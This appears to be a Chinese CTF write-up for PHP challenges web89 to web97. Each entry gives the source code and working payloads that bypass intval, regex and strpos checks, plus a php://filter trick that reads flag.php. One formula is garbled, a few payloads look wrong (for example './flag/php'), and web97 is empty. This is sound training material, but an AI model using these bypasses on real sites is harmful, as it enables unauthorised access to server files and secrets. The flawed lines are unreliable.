web89
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
题解 数组绕过正则表达式 payload:
num[]=a
web90
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
题解 传入八进制或者十六进制 payload:
num=010574
num=0x117c
num=4476a
intval()函数如果
b
a
s
e
为
0
,
则
base为0,则
base为0,则var中存在字母的话遇到字母就停止读取, 传入4476
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
web91
题目
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
题解 正则匹配 URL编码
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
g
全局匹配,查找所有匹配项
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
if(preg_match('/^php$/im', $a))
这个if的意思是匹配$a 开头和结尾是php ,如果是php ,进入下一个if
/^php$/im ^ 表示开头 $ 表示结尾 /i 不区分大小写 /m 表示多行匹配
if(preg_match('/^php$/i', $a))
这个if的意思是匹配$a 开头和结尾是php ,不区分大小写,如果开头是php ,那么就输出hacker payload
cmd=a%0aphp %0a是换行符
a%0aphp ,首先是preg_match 中的$(匹配结尾)匹配a%0aphp 中的换行符,这个时候会匹配到%0a (将%0a 当作换行),那么a%0aphp 后面的php 因为preg_match 函数有个/m (匹配多行)就是单独的一行了,满足第一个if,要求行开始和结尾都是php
其次是第二个if ,第二个if 要求$a 中开头和结尾没有php ,而这个preg_match 函数中没有/m 匹配多行,所以就直接匹配a ,a 不满足第二个if ,所以输出flag
web92
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
题解 4476a 无法绕过 if($num==4476) ,可以使用八进制、十六进制以及科学计数法 payload:
num=010574
num=0x117c
num=4476e1
web93
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
题解 payload:
num=010574
num=4476.1
web94
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
题解 if(preg_match("/[a-z]/i", $num)) 过滤了字符 strpos()绕过可以在前边多加一个字符 if(!strpos($num, "0")) 用空格或%0a进行绕过 payload:
num= 010574 空格+八进制
num=4476.0
num=%0a010574
num=+4476 正负号
web95
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
题解 payload:
num=+010574
num=%20010574 //%20为空格
num=%0a010574
web96
题目
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
题解
u=/var/www/html/flag.php //绝对路径
u=./flag/php //相对路径
u=php://filter/resource=flag.php //php伪协议
web97
题目
题解
|